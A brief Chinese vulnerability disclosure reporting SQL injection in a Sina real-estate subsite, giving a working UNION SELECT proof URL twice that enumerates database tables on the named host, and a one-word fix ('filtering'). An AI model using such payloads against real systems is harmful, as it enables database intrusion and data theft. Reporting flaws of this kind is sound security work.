新浪房产分站存在SQL注入漏洞及修复
详细说明：新浪房产分站存在MySQL注入漏洞
漏洞证明：http://supports.house.sina.com.cn/decor/brand/brand.php?bid=17%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,table_name,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20information_schema.tables%20where%20table_schema=0x737570706F727473686F757365%20limit%20132,1--
修复方案：过滤
漏洞证明：http://supports.house.sina.com.cn/decor/brand/brand.php?bid=17%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,table_name,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20information_schema.tables%20where%20table_schema=0x737570706F727473686F757365%20limit%20132,1--
修复方案：过滤
相关文章
图文推荐
- 文章
- 推荐
- 热门新闻
